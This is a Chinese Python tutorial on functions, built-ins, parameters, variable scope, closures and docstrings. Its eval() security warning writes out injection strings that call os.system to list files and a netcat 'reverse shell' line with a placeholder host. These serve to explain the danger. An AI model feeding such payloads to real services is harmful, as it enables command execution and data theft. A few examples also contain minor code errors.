Python 学习 ---> 函数、函数式编程、高阶函数、匿名函数、偏函数

1、Python 函数

为什么 要有 函数 ?

编写代码时,如果没有函数的话,将会出现很多重复的代码,这样代码重用率就比较低,并且这样的代码很难维护,为了解决这些问题,就出现了函数,函数可以将一些经常出现的代码进行封装,这样就可以在任何需要调用这段代码的地方调用这个函数就行了。

什么 是 函数?

函数是指将一组语句的集合通过一个名字(函数名)封装起来,要想执行这个函数,只需调用其函数名即可。

函数 的 定义

函数定义详解:https://docs.python.org/zh-cn/3.11/tutorial/controlflow.html#defining-functions

函数通过 def 关键字 定义。def 关键字后跟一个函数的 标识符 名称,然后跟一对圆括号。圆括号之中可以包括一些变量名,该行以冒号结尾。接下来是一块语句,它们是函数体。

下面这个例子将说明这事实上是十分简单的:

#!/usr/bin/python
# Filename: function1.py

def sayHello():
    print('Hello World!')  # 函数块,即 函数体


sayHello()  # 调用函数

输出:

$ python function1.py
Hello World

Python 内置(build-in) 函数

Python 内置(build-in) 函数:https://docs.python.org/zh-cn/3.11/library/functions.html

Python 解释器内置了很多函数和类型,任何时候都能使用。以下按字母顺序给出列表。

内置函数

A

abs()

aiter()

all()

any()

anext()

ascii()

B

bin()

bool()

breakpoint()

bytearray()

bytes()

C

callable()

chr()

classmethod()

compile()

complex()

D

delattr()

dict()

dir()

divmod()

E

enumerate()

eval()

exec()

F

filter()

float()

format()

frozenset()

G

getattr()

globals()

H

hasattr()

hash()

help()

hex()

I

id()

input()

int()

isinstance()

issubclass()

iter()

L

len()

list()

locals()

M

map()

max()

memoryview()

min()

N

next()

O

object()

oct()

open()

ord()

P

pow()

print()

property()

R

range()

repr()

reversed()

round()

S

set()

setattr()

slice()

sorted()

staticmethod()

str()

sum()

super()

T

tuple()

type()

V

vars()

Z

zip()

_

__import__()

python之内置函数,匿名函数:https://www.cnblogs.com/jin-xin/articles/8423937.html

作用域相关:locals()、globals()

  • locals() :函数会以字典的类型返回当前位置的全部局部变量。
  • globals():函数以字典的类型返回全部全局变量。

a = 1
b = 2
print(locals())
print(globals())
# 这两个一样,因为是在全局执行的。

##########################

def func(argv):
    c = 2
    print(locals())
    print(globals())
func(3)

#这两个不一样,locals() {'argv': 3, 'c': 2}

字符串 类型 代码 执行 eval(),exec(),complie()

( 执行简单的Python时用 eval,复杂的用 exec,一般不用 compile )

  • eval():执行字符串类型的代码,并返回最终结果。
  • exec():执行字符串类型的代码。
  • compile():将字符串类型的代码编译。代码对象能够通过exec语句来执行或者eval()进行求值。
"""
eval() 函数用来执行一个字符串表达式,并返回表达式的值。
"""
eval('2 + 2')  # 4
n = 81
eval("n + 4")  # 85
eval('print(666)')  # 666


"""
exec 执行储存在字符串或文件中的 Python 代码,相比于 eval,exec可以执行更复杂的 Python 代码。
"""
s = '''
for i in [1,2,3]:
    print(i)
list(map(lambda i: print(i), [4, 5, 6]))
'''
print(f'exec : {exec(s)}')


'''
参数说明:   
1. 参数 source:字符串或者AST(Abstract Syntax Trees)对象。即需要动态执行的代码段。  
2. 参数 filename:代码文件名称,如果不是从文件读取代码则传递一些可辨认的值。
                 当传入了source参数时,filename参数传入空字符即可。  
3. 参数model:指定编译代码的种类,可以指定为 ‘exec’,’eval’,’single’。
             当source中包含流程语句时,model应指定为‘exec’;
             当source中只包含一个简单的求值表达式,model应指定为‘eval’;
             当source中包含了交互式命令语句,model应指定为'single'。
'''
# 流程语句使用 exec
code1 = 'for i in range(0,10): print (i)'
compile1 = compile(code1, '', 'exec')
exec(compile1)

# 简单求值表达式用 eval
code2 = '1 + 2 + 3 + 4'
compile2 = compile(code2, '', 'eval')
eval(compile2)

# 交互语句用 single
code3 = 'name = input("please input your name:")'
compile3 = compile(code3, '', 'single')
# name # 执行前name变量不存在
# Traceback (most recent call last):
#   File "<pyshell#29>", line 1, in <module>
#     name
# NameError: name 'name' is not defined

exec(compile3)  # 执行时显示交互命令,提示输入
# please input your name:'pythoner'
# name #执行后name变量有值
# "'pythoner'"

eval() 的确是一个很便捷的工具,但是便捷使用不当的同时也会造成严重的安全问题

强大的函数是有代价的,安全性是其最大的缺点。想一想这种使用环境:需要用户输入一个表达式,并求值。如果用户恶意输入,例如:eval("__import__('os').system('dir')") 之后,你会发现,当前目录文件都会展现在用户前面。那么继续输入:open('文件名').read()
代码都给人看了。获取完毕,一条删除命令,文件消失。

还可以得到 反弹 shell 等:

eval("__import__('os').system('start cmd')")

eval("__import__('os').system('nc -h xxx -p xxx')")

输入输出相关 input()、print()

  • input():接受一个标准输入数据,返回为 string 类型。
  • print():打印输出。

内存相关 hash()、id()

  • hash():获取一个对象(可哈希对象:int,str,Bool,tuple)的哈希值。
  • id():用于获取对象的内存地址。

文件操作相关 open()

  • open 函数用于打开一个文件,创建一个 file 对象,相关的方法才可以调用它进行读写。

__import__() 由 import 语句发起调用

  • __import__() 函数用于动态加载类和函数 。

帮助 help

  • help() 用于查看函数或模块用途的详细说明。print(help(list))

调用相关 callable

  • callable() 函数用于检查一个对象是否是可调用的。如果返回True,object 仍然可能调用失败;但如果返回False,调用对象ojbect绝对不会成功。

查看内置属性 dir

  • dir 函数不带参数时,返回当前范围内的变量、方法和定义的类型列表;
  • dir 带参数时,返回参数的属性、方法列表。
  • 如果参数包含方法__dir__(),该方法将被调用。如果参数不包含__dir__(),该方法将最大限度地收集参数信息。

迭代器、生成器 相关函数

  • range:函数可创建一个整数对象,一般用在 for 循环中。
  • next:内部实际使用了__next__方法,返回迭代器的下一个项目。
  • iter:函数用来生成迭代器(讲一个可迭代对象,生成迭代器)。

数字相关( 总共14个)

数据类型(4 个):

  • bool :用于将给定参数转换为布尔类型,如果没有参数,返回 False。
  • int:函数用于将一个字符串或数字转换为整型。
  • float:函数用于将整数和字符串转换成浮点数。
  • complex:函数用于创建一个值为 real + imag * j 的复数或者转化一个字符串或数为复数。如果第一个参数为字符串,则不需要指定第二个参数。。

进制转换(3 个):

  • bin:将十进制转换成二进制并返回。
  • oct:将十进制转化成八进制字符串并返回。
  • hex:将十进制转化成十六进制字符串并返回。

print(bin(10), type(bin(10)))  # 0b1010 <class 'str'>
print(oct(10), type(oct(10)))  # 0o12 <class 'str'>
print(hex(10), type(hex(10)))  # 0xa <class 'str'>

数学运算(7 个):

  • abs:   函数返回数字的绝对值。
  • divmod:计算除数与被除数的结果,返回一个包含商和余数的元组(a // b, a % b)。
  • round:保留浮点数的小数位数,默认保留整数。
  • pow:求x**y次幂。(三个参数为x**y的结果对z取余)
  • sum:对可迭代对象进行求和计算(可设置初始值)。
  • min:返回可迭代对象的最小值(可加key,key为函数名,通过函数的规则,返回最小值)。
  • max:返回可迭代对象的最大值(可加key,key为函数名,通过函数的规则,返回最大值)。

print(abs(-5))  # 5
print(divmod(7, 2))  # (3, 1)
print(round(7 / 3, 2))  # 2.33
print(round(7 / 3))  # 2
print(round(3.32567, 3))  # 3.326
print(pow(2, 3))  # 两个参数为2**3次幂
print(pow(2, 3, 3))  # 三个参数为2**3次幂,对3取余。

print(sum([1, 2, 3]))
print(sum((1, 2, 3), 100))
print(min([1, 2, 3]))  # 返回此序列最小值

ret = min([1, 2, -5, ], key=abs)  # 按照绝对值的大小,返回此序列最小值
print(ret)

dic = {'a': 3, 'b': 2, 'c': 1}
print(min(dic, key=lambda x: dic[x]))
# x为dic的key,lambda的返回值(即dic的值进行比较)返回最小的值对应的键


print(max([1, 2, 3]))  # 返回此序列最大值

ret = max([1, 2, -5, ], key=abs)  # 按照绝对值的大小,返回此序列最大值
print(ret)

dic = {'a': 3, 'b': 2, 'c': 1}
print(max(dic, key=lambda x: dic[x]))
# x为dic的key,lambda的返回值(即dic的值进行比较)返回最大的值对应的键

数据结构相关(24个)

列表和元祖(2)

  • list:将一个可迭代对象转化成列表(如果是字典,默认将 key 作为列表的元素)。
  • tuple:将一个可迭代对象转化成元祖(如果是字典,默认将 key 作为元祖的元素)。

相关内置函数(2)

  • reversed:将一个序列翻转,并返回此翻转序列的迭代器。
  • slice:构造一个切片对象,用于列表的切片。

字符串相关(9)

  • str:将数据转化成字符串。
  • format: 与具体数据相关,用于计算各种小数,精算等。

# 字符串可以提供的参数,指定对齐方式,<是左对齐, >是右对齐,^是居中对齐
print(format('test', '<20'))
print(format('test', '>20'))
print(format('test', '^20'))

# 整形数值可以提供的参数有 'b' 'c' 'd' 'o' 'x' 'X' 'n' None
format(3, 'b')  # 转换成二进制
'11'
format(97, 'c')  # 转换unicode成字符
'a'
format(11, 'd')  # 转换成10进制
'11'
format(11, 'o')  # 转换成8进制
'13'
format(11, 'x')  # 转换成16进制 小写字母表示
'b'
format(11, 'X')  # 转换成16进制 大写字母表示
'B'
format(11, 'n')  # 和d一样
'11'
format(11)  # 默认和d一样
'11'

# 浮点数可以提供的参数有 'e' 'E' 'f' 'F' 'g' 'G' 'n' '%' None
format(314159267, 'e')  # 科学计数法,默认保留6位小数
'3.141593e+08'
format(314159267, '0.2e')  # 科学计数法,指定保留2位小数
'3.14e+08'
format(314159267, '0.2E')  # 科学计数法,指定保留2位小数,采用大写E表示
'3.14E+08'
format(314159267, 'f')  # 小数点计数法,默认保留6位小数
'314159267.000000'
format(3.14159267000, 'f')  # 小数点计数法,默认保留6位小数
'3.141593'
format(3.14159267000, '0.8f')  # 小数点计数法,指定保留8位小数
'3.14159267'
format(3.14159267000, '0.10f')  # 小数点计数法,指定保留10位小数
'3.1415926700'
format(3.14e+1000000, 'F')  # 小数点计数法,无穷大转换成大小字母
'INF'

# g的格式化比较特殊,假设p为格式中指定的保留小数位数,先尝试采用科学计数法格式化,得到幂指数exp,
# 如果-4<=exp<p,则采用小数计数法,并保留p-1-exp位小数,否则按小数计数法计数,并按p-1保留小数位数
format(0.00003141566, '.1g')  # p=1,exp=-5 ==》 -4<=exp<p不成立,按科学计数法计数,保留0位小数点
'3e-05'
format(0.00003141566, '.2g')  # p=1,exp=-5 ==》 -4<=exp<p不成立,按科学计数法计数,保留1位小数点
'3.1e-05'
format(0.00003141566, '.3g')  # p=1,exp=-5 ==》 -4<=exp<p不成立,按科学计数法计数,保留2位小数点
'3.14e-05'
format(0.00003141566, '.3G')  # p=1,exp=-5 ==》 -4<=exp<p不成立,按科学计数法计数,保留0位小数点,E使用大写
'3.14E-05'
format(3.1415926777, '.1g')  # p=1,exp=0 ==》 -4<=exp<p成立,按小数计数法计数,保留0位小数点
'3'
format(3.1415926777, '.2g')  # p=1,exp=0 ==》 -4<=exp<p成立,按小数计数法计数,保留1位小数点
'3.1'
format(3.1415926777, '.3g')  # p=1,exp=0 ==》 -4<=exp<p成立,按小数计数法计数,保留2位小数点
'3.14'
format(0.00003141566, '.1n')  # 和g相同
'3e-05'
format(0.00003141566, '.3n')  # 和g相同
'3.14e-05'
format(0.00003141566)  # 和g相同
'3.141566e-05'

bytes:用于不同编码之间的转化。

s = '你好'
bs = s.encode('utf-8')
print(bs)
s1 = bs.decode('utf-8')
print(s1)
bs = bytes(s, encoding='utf-8')
print(bs)
b = '你好'.encode('gbk')
b1 = b.decode('gbk')
print(b1.encode('utf-8'))

bytearry:返回一个新字节数组。这个数组里的元素是可变的,并且每个元素的值范围: 0 <= x < 256。

ret = bytearray('alex', encoding='utf-8')
print(id(ret))
print(ret)
print(ret[0])
ret[0] = 65
print(ret)
print(id(ret))

memoryview:内存数据查看

ret = memoryview(bytes('你好', encoding='utf-8'))
print(len(ret))
print(ret)
print(bytes(ret[:3]).decode('utf-8'))
print(bytes(ret[3:]).decode('utf-8'))

ord:输入字符找该字符编码的位置
chr:输入位置数字找出其对应的字符
ascii:是ascii码中的返回该值,不是就返回/u...

# ord 输入字符找该字符编码的位置
print(ord('a'))
print(ord('中'))

# chr 输入位置数字找出其对应的字符
print(chr(97))
print(chr(20013))

# 如果是 ascii 码,就返回该值,不是就返回/u...
print(ascii('a'))
print(ascii('中'))

repr:返回一个对象的string形式(原形毕露)。

# %r  原封不动的写出来
name = 'taibai'
print('我叫%r' % name)

# repr 原形毕露
print(repr('{"name":"alex"}'))
print('{"name":"alex"}')

数据集合(3)

  • dict:创建一个字典。
  • set:创建一个集合。
  • frozenset:返回一个冻结的集合,冻结后集合不能再添加或删除任何元素。

数据结构 相关内置函数(8)

  • len:返回一个对象中元素的个数。
  • sorted:对所有可迭代的对象进行排序操作。
L = [('a', 1), ('c', 3), ('d', 4), ('b', 2), ]
sorted(L, key=lambda x: x[1])  # 利用key
# [('a', 1), ('b', 2), ('c', 3), ('d', 4)]

students = [('john', 'A', 15), ('jane', 'B', 12), ('dave', 'B', 10)]
sorted(students, key=lambda s: s[2])  # 按年龄排序
# [('dave', 'B', 10), ('jane', 'B', 12), ('john', 'A', 15)]

sorted(students, key=lambda s: s[2], reverse=True)  # 按降序
# [('john', 'A', 15), ('jane', 'B', 12), ('dave', 'B', 10)]

enumerate:枚举,返回一个枚举对象。

print(enumerate([1, 2, 3]))
for i in enumerate([1, 2, 3]):
    print(i)
for i in enumerate([1, 2, 3], 100):
    print(i)

all:可迭代对象中,全都是True才是True
any:可迭代对象中,有一个True 就是True

# all  可迭代对象中,全都是True才是True
# any  可迭代对象中,有一个True 就是True
print(all([1, 2, True, 0]))
print(any([1, '', 0]))

zip:函数用于将可迭代的对象作为参数,将对象中对应的元素打包成一个个元组,然后返回由这些元组组成的列表。如果各个迭代器的元素个数不一致,则返回列表长度与最短的对象相同。

l1 = [1, 2, 3, ]
l2 = ['a', 'b', 'c', 5]
l3 = ('*', '**', (1, 2, 3))
for i in zip(l1, l2, l3):
    print(i)
print(list(zip(l1, l2)))

filter:过滤。

# filter 过滤 通过你的函数,过滤一个可迭代对象,返回的是True
# 类似于[i for i in range(10) if i > 3]

def func(x): return x % 2 == 0


ret = filter(func, [1, 2, 3, 4, 5, 6, 7])
print(list(ret))  # [2, 4, 6]

map:会根据提供的函数对指定序列做映射。

def square(x):  # 计算平方数
    return x ** 2


print(list(map(square, [1, 2, 3, 4, 5])))  # 计算列表各个元素的平方
# [1, 4, 9, 16, 25]
print(list(map(lambda x: x ** 2, [1, 2, 3, 4, 5])))  # 使用 lambda 匿名函数
# [1, 4, 9, 16, 25]

# 提供了两个列表,对相同位置的列表数据进行相加
print(list(map(lambda x, y: x + y, [1, 3, 5, 7, 9], [2, 4, 6, 8, 10])))
# [3, 7, 11, 15, 19]

3. 函数参数

参数 在 函数定义 的圆括号对内指定,用逗号分割。当我们调用函数的时候,我们以同样的方式提供值。

3.1 参数的类型、参数的种类

形参 实参 ( 函数中的参数名称 为 形参 ,而你 提供给函数调用的值称 为 实参 ):

  • 形参:定义函数时,函数中的参数就叫做形参。
  • 实参:调用函数时,传递给函数的参数,形参和实参需要一一对应起来,否则调用函数会报错。

函数的参数对应有如下几种:

  1. 必须参数 :也可以理解为位置参数必须以对应的位置关系一个一个的传递给函数,即 函数调用时传递的实参必须和函数定义时的形参一一对应,不能多也不能少,顺序也得一致
  2. 默认参数 默认参数是在函数声明的时候,可以给某个参数指定默认值,这样的参数叫做默认值参数。如果在调用函数的时候,默认参数没有接收到对应的实参,那么就会将默认值赋值给这个参数。
  3. 关键字参数 关键字参数是实参里面的概念,在调用函数的时候声明某个参数是属于某个关键字的。使用关键字参数允许函数调用时参数的顺序与声明时不一致,因为 Python 解释器能够用参数名匹配参数值。
  4. 不定长参数 *args(即 python 中的 元组 类型)。在python里面,函数在声明的时候,参数中可以使用(*变量名)的方式来接受不确定长度的参数,但是在python里面大家约定俗成使用*args接受不定长参数,这样在调用函数的时候传递的参数就可以是不定长度的了。args接受了不定长参数之后,将这些参数放到一个 tuple 里面,可以通过访问 args 来获取这些不定长参数。
  5. 不定长参数 **kwargs (即 Python 中的 字典 类型)。假如有类似于关键字参数的不定长参数该怎么办呢?python里面使用(**变量名)来接收不定长的命名变量参数。同样,python里面也约定俗成使用**kwargs接收不定长命名参数。kwargs 接收了不定长参数之后,将这些参数放到一个字典里面,可以通过 kwargs 获取到相应的参数值。
# 1. 必须参数
def func_1(name, age):
    print(name, age)
func_1("小明", 18)


# 2. 命名参数(又叫关键字参数)
def func_3(name, age=0, sex="male"):
    print(name, age, sex)
func_3('小明', sex='男')


# 3.  不定长参数(元组类型)
def func_4(*args):
    print(args)
func_4("小明", 18, "male")


# 4.  不定长参数(字典类型)
def func_5(**kwargs):
    print(kwargs)
func_5(name="小明", age=18, sex="male")

顺序:

  • 位置参数 > *args > 默认值参数 > **kwargs
  • *args, **kwargs

3.2 必须参数(位置参数)

#!/usr/bin/python
# Filename: func_param.py
def printMax(a, b):
    if a > b:
        print(f'{a} is maximum')
    else:
        print(f'{b} is maximum')


printMax(3, 4)  # directly give literal values
x = 5
y = 7
printMax(x, y)  # give variables as arguments

'''
$ python func_param.py
4 is maximum
7 is maximum
'''

在 printMax(3, 4) 中,我们直接把 整数 3、4 提供给函数( 这里 3、4 就是实参 )。

在 printMax(x, y) 中,我们把 x、y 提供给函数( 这里 x、y 就是实参 ),使 实参x 的值赋给 形参a,实参y 的值赋给 形参b。

这两次调用中,printMax 函数的工作完全相同。

3.3 关键字参数

如果你的某个函数有许多参数,而你只想指定其中的一部分,那么你可以通过命名来为这些参数赋值,这被称作 关键字参数

即 使用 名字(关键字) 而不是 位置 来给函数指定实参。

这样做有两个 优势 :

  • 一、由于我们不必担心参数的顺序,使用函数变得更加简单了。
  • 二、假设其他参数都有默认值,我们可以只给我们想要的那些参数赋值。

使用关键参数

#!/usr/bin/python
# Filename: func_key.py

def func(a, b=5, c=10):
    print(f'a is {a}, and b is {b}, and c is {c}')


func(3, 7)
func(25, c=24)
func(c=50, a=100)

'''
$ python func_key.py
a is 3 and b is 7 and c is 10
a is 25 and b is 5 and c is 24
a is 100 and b is 5 and c is 50 
'''

名为 func 的函数有一个没有默认值的参数,和两个有默认值的参数。

  • 第一次调用函数 func 时,func(3, 7),参数a得到值3,参数b得到值7,而参数c使用默认值10。
  • 第二次调用函数 func 时,func(25, c=24) ,根据实参的位置变量a得到值25。根据命名,即关键参数,参数c得到值24。变量b根据默认值,为5。
  • 第三次调用函数 func 时,func(c=50, a=100) ,使用关键参数来完全指定参数值。注意,尽管函数定义中,a在c之前定义,我们仍然可以在a之前指定参数c的值。

3.4 默认参数

#!/usr/bin/python
# Filename: func_default.py

def say(message, times=1):
    print(message * times)


say('Hello')
say('World', 5)

'''
$ python func_default.py
Hello
WorldWorldWorldWorldWorld 
'''

名为say的函数用来打印一个字符串任意所需的次数。如果我们不提供一个值,那么默认地,字符串将只被打印一遍。我们通过给形参times指定默认参数值1来实现这一功能。

在第一次使用say的时候,我们只提供一个字符串,函数只打印一次字符串。在第二次使用say的时候,我们提供了字符串和参数5,表明我们想要说 这个字符串消息5遍。

默认参数 注意 点

只有在形参表末尾的那些参数可以有默认参数值,即你不能在声明函数形参的时候,先声明有默认值的形参而后声明没有默认值的形参。

这是因为赋给形参的值是根据位置而赋值的。例如,def func(a, b=5)是有效的,但是def func(a=5, b)是无效的。 

3.5  *args**kwargs、参数的混合使用

假如一个函数使用了上面所有种类的参数,那该怎么办 ?

为了不产生歧义,python 里面规定了假如有多种参数混合的情况下,遵循如下的顺序使用规则:

def func(必须参数, 默认参数, *args, **kwargs):
    pass
  • 如果同时存在 *args**kwargs 的话,*args 在左边。
  • 默认参数必须参数 的右边,在 *args 的左边。
  • 关键字参数的位置不固定 ( ps:关键字参数也不在函数定义的时候确定 )

示例:

def f(*args, **kwargs):
    print(f'args : {args}')
    for i in kwargs:
        print(f"{i} : {kwargs[i]}")


f(*[1, 2, 3], **{"a": 1, "b": 2})

'''
args : (1, 2, 3)
a : 1
b : 2
'''

4. LEGB 作用域

  • 1.  变量查找顺序:LEGB,作用域局部 ---> 外层作用域 ---> 当前模块中的全局 ---> python内置作用域;
  • 2.  在 Python 中,只有 模块(module),类(class)以及 函数(def、lambda)才会 引入新的作用域,其它的代码块 ( 如 if、try、for 等 ) 不会引入新的作用域。
  • 3.  对于一个变量,内部作用域先声明就会覆盖外部变量,不声明直接使用时就会使用外部作用域的变量;
  • 4.  内部作用域要修改外部作用域变量的值时,全局变量要使用 global 关键字,嵌套作用域变量要使用 nonlocal 关键字。nonlocal 是 python3 新增的关键字,有了这个关键字,就能完美的实现闭包了。

python 中的作用域分4种情况:

L:local,     局部作用域,即函数中定义的变量;
E:enclosing, 嵌套的父级函数的局部作用域,即包含此函数的上级函数的局部作用域,但不是全局的;
G:globa,     全局变量,就是模块级别定义的变量;
B:built-in,  系统固定模块里面的变量,比如int, bytearray等。 

搜索变量的优先级顺序依次是:
    域局部(L) ---> 外层作用域(E) ---> 当前模块中的全局(G) ---> python内置作用域(B)

local 和 enclosing 是相对的,enclosing 变量相对上层来说也是 local。

变量的修改( 错误修改面试题里经常出 ):

x = 6

def f2():
    print(x)
    x = 5

f2()

'''
错误的原因在于print(x)时, 解释器会在局部作用域找, 会找到x=5(函数已经加载到内存),
但 x的使用 是 在声明前, 所以报错: local variable 'x' referenced before assignment.
如何证明找到了 x=5 呢? 简单: 注释掉 x=5,x=6
报错为:name 'x' is not defined
'''

同理:

x = 6
def f2():
    x += 1  # local variable 'x' referenced before assignment.
f2()

4.1 局部变量

函数体内声明的变量 函数体外同名称的其他变量 没有任何关系,即 函数体内的同名变量 对于函数来说 是 局部的,也只能在函数体内使用,这就是 变量的作用域

所有 变量的作用域 是从 变量被定义的那点开始,直到被定义的块结束为止。

使用局部变量

#!/usr/bin/python
# Filename: func_local.py

def func(x):
    print(f'x is {x}')
    x = 2
    print(f'Changed local x to {x}')


x = 50
func(x)
print(f'x is still {x}')

'''
x is 50
Changed local x to 2
x is still 50
'''

4.2 使用 global 语句

如果要为 函数体外的变量 赋值,那么你就得告诉 Python 这个变量名不是局部的,而是全局的,可以使用 global 语句完成这一功能。

使用 global 语句 可以清楚地表明 变量是在外面的块定义的内部作用域 想修改 外部作用域的变量 时,就要用到 global 和 nonlocal 关键字。

没有 global 语句,是不可能为定义在函数体外的变量赋值的,但是可以使用定义在函数外的变量的值(假设在函数内没有同名的变量)。

示例代码:

#!/usr/bin/python
# Filename: func_global.py


"""
global 语句被用来声明 x 是全局的,因此,当我们在函数内把值赋给x的时候,
这个变化也反映在我们在主块中使用x的值的时候。
一个 global 语句指定多个全局变量。例如:global x, y, z
"""


def func():
    global x, y
    print(f'x is {x}')
    x = 2
    print(f'Changed global x to {x}')


x = 50
y = 100
z = 200
func()
print('Value of x is {x}')

'''
输出:
$ python func_global.py
x is 50
Changed global x to 2
Value of x is 2 
'''

4.3 nonlocal 关键字

global 声明的变量必须在全局作用域上,不能嵌套作用域上,当要修改嵌套作用域(enclosing 作用域,外层非全局作用域)中的变量怎么办呢,这时就需要 nonlocal 关键字了

def outer():
    count = 10
    def inner():
        nonlocal count
        count = 20
        print(count)
    inner()
    print(count)
outer()

4.4 全面解析 Python 中 变量的作用域

局部变量全局变量 开始全面解析 Python 中 变量的作用域

From : http://www.jb51.net/article/86766.htm

理解 全局变量 局部变量

1. 定义在函数内部的变量名如果是第一次出现, 且在=符号前,那么就可以认为是被定义为局部变量。在这种情况下,不论全局变量中是否用到该变量名,函数中使用的都是局部变量。例如:

num = 100
def func():
    num = 123
    print num
func()

输出结果是123。说明函数中定义的变量名 num 是一个局部变量,覆盖全局变量。再例如:

num = 100
def func():
    num += 100  # 等价于 num = num + 100
    print(num)
func()

'''
结果:local variable 'num' referenced before assignment
解释:程序执行报错,是因为局部变量 num 在赋值前被应用。也就是说该变量没有定义就被错误使用。
      由此再次证明这里定义的是一个局部变量,而不是全局变量。
'''

2. 函数内部的变量名如果是第一次出现,且出现在=符号后面,且在之前已被定义为全局变量,则这里将引用全局变量。例如:

num = 100
def func():
    x = num + 100
    print(x)
func()

'''
200
'''

如果变量名 num 在之前没有被定义为全局变量,则会出现错误提示:变量没有定义。例如:

def func():
    x = num + 100
    print(x)
func()

'''
输出结果是:NameError: global name 'num' is not defined。
'''

3. 函数中使用某个变量时,如果该变量名既有全局变量也有局部变量,则默认使用局部变量。例如:

num = 100
def func():
    num = 200
    x = num + 100
    print(x)
func()

'''
300
'''

4. 在函数中将某个变量定义为全局变量时需要使用关键字 global。例如:

num = 100
def func():
    global num
    num = 200
    num += 300
    print(num)

func()
print(num)

'''
500
500
'''

变量作用域

变量作用域(scope)在Python中是一个容易掉坑的地方。Python的作用域一共有4中,分别是:

L (Local)        局部作用域
E (Enclosing) 闭包函数外的函数中
G (Global)  全局作用域
B (Built-in) 内建作用域

以 L --> E --> G -->B 的规则查找,即:在局部找不到,便会去局部外的局部找(例如闭包),再找不到就会去全局找,再者去内建中找。

Python 除了 def / class / lambda 外,其他如:if / elif / else / try / except for / while 并不能改变其作用域定义在他们之内的变量,外部还是可以访问。

if 1:
    a = 100
print(a)

'''
100
'''

定义在 if 语言中的变量 a,外部还是可以访问的。

def test():
    print(var_temp)


if __name__ == '__main__':
    var_temp = 100
    test()

注意:如果 if 被 def / class / lambda 包裹,在其内部赋值,则就变成了此 函数 / 类 / lambda局部作用域

即在 def/class/lambda 内进行赋值,就变成了其局部的作用域,局部作用域会覆盖全局作用域,但不会影响全局作用域。

g = 1  # 全局的

def fun():
    g = 2  # 局部的
    return g

print(fun())  # 2
print(g)      # 1

但是要注意,有时候想在函数内部引用全局的变量,疏忽了就会出现错误,比如:

#file1.py
var = 1
def fun():
    print var
    var = 200
print fun()
 
#file2.py
var = 1
def fun():
    var = var + 1
    return var
print fun()

这两个函数都会报错 UnboundLocalError: local variable 'var' referenced before assignment 在未被赋值之前引用的错误!为什么?

因为在函数的内部,解释器探测到 var被重新赋值了,所以 var 成为了局部变量,但是在没有被赋值之前就想使用 var,便会出现这个错误

解决的方法是在函数内部添加 globals var ,但运行函数后全局的 var 也会被修改。

闭包 Closure

闭包的定义:在 内部函数里面 引用 外部函数内的变量不是全局作用域的变量),那么 内部函数 就被认为是 闭包(closure)

函数嵌套 / 闭包 中的作用域:

def external():
    global a  # 引用全局变量a
    a = 200
    print(a)

    b = 100  # 局部变量 b

    def internal():
        # nonlocal b  #  使用 nonlocal 可以解决报错
        print(b)      # 下面有个 b=200,说明b是局部变量,但是在 print 语句之后,所以报错,
        b = 200
        return b

    internal()
    print(b)

a = 1000  # 全局变量a
print(external())

程序执行报错,因为引用在赋值之前,Python3 有个关键字 nonlocal 可以解决这个问题,但在 Python2 中还是不要尝试修改闭包中的变量。

关于闭包中还有一个坑:

from functools import wraps


def wrapper(log):
    def external(F):
        @wraps(F)
        def internal(**kw):
            if False:
                log = 'modified'
            print(log)
        return internal
    return external


@wrapper('first')
def abc():
    pass


print(abc())

也会出现 引用在赋值之前 的错误,

原因是解释器探测到了 if False 中的重新赋值,所以不会去闭包的外部函数(Enclosing)中找变量,但 if Flase 不成立没有执行,所以便会出现此错误。除非你还需要 else: log='var' 或者 if True 但这样添加逻辑语句就没了意义,所以尽量不要修改闭包中的变量。

好像用常规的方法无法让闭包实现计数器的功能,因为在内部进行 count +=1 便会出现 引用在赋值之前 的错误,解决办法:( 或Py3环境下的 nonlocal 关键字)

def counter(start):
    count = [start]

    def internal():
        count[0] += 1
        return count[0]

    return internal


count = counter(0)
for n in range(10):
    print(count())
# 1,2,3,4,5,6,7,8,9,10

count = counter(0)
print(count())  # 1

由于 list 具有可变性,而字符串是不可变类型。

locals() 和 globals()

globals()

global 和 globals() 是不同的,

  • global 是关键字,用来声明一个局部变量为全局变量。
  • globals() 和 locals() 提供了基于字典的访问 全局变量局部变量 的方式

例如:在函数func内定义了一个局部变量 temp,但是有一个同名的函数 temp,同时要在 函数func内 引用 temp 函数。

def temp():
    pass

def func():
    temp = 'Just a String'
    f1 = globals()['temp']
    print(temp)
    return type(f1)

print(func())

'''
Just a String
<class 'function'>
'''

locals()

如果你使用过 Python 的 Web 框架,那么你一定经历过需要把一个视图函数内很多的局部变量传递给模板引擎,然后作用在HTML上。

虽然你可以有一些更聪明的做法,但你还是仍想一次传递很多变量。先不用了解这些语法是怎么来的,用做什么,只需要大致了解 locals() 是什么。

可以看到,locals() 把局部变量都给打包一起扔去了。

@app.route('/')
def view():
    user = User.query.all()
    article = Article.query.all()
    ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr)
    s = 'Just a String'

    # return render_template('index.html', **locals())
    return render_template('index.html', user=user, article=article, ip=ip, s=s)

5. return 语句

#!/usr/bin/python
# Filename: func_return.py
def maximum(x, y):
    if x > y:
        return x
    else:
        return y


print(maximum(2, 3))  # 3

注意:没有返回值的 return 语句等价于 return None。None 是 Python 中表示没有任何东西的特殊类型。例如,如果一个变量的值为 None,可以表示它没有值。

除非你提供你自己的 return 语句,每个函数都在结尾暗含有 return None 语句。通过运行 print someFunction(),你可以明白这一点,函数 someFunction 没有使用 return 语句,如同:

def someFunction():
    pass

注意: 函数在执行过程中只要遇到 return 语句,就会停止执行并返回结果,也可以理解为 return 语句代表着函数的结束,如果没有在函数中指定 return,那这个函数的返回值为 None

return 多个对象,解释器会把这多个对象组装成一个元组,然后 return 这个元祖。

def func():
    return 123, 'abc', 'efg'

if __name__ == "__main__":
    print(type(func()))  # <class 'tuple'>
    print(func())        # (123, 'abc', 'efg')
    pass

6. DocStrings

python 的 文档字符串

#!/usr/bin/python
# Filename: func_doc.py
def printMax(x, y):
    """
          Prints the maximum of two numbers.
          The two values must be integers.
    :param x: 
    :param y: 
    :return: 
    """
    x = int(x)  # convert to integers, if possible
    y = int(y)
    if x > y:
        print(f'{x} is maximum')
    else:
        print(f'{y} is maximum')


printMax(3, 5)
print(printMax.__doc__)

'''
输出
$ python func_doc.py
5 is maximum
Prints the maximum of two numbers.
The two values must be integers. 
'''

在函数的第一个逻辑行的字符串是这个函数的 文档字符串 。注意,DocStrings也适用于模块,我们会在后面相应的章节学习它们。

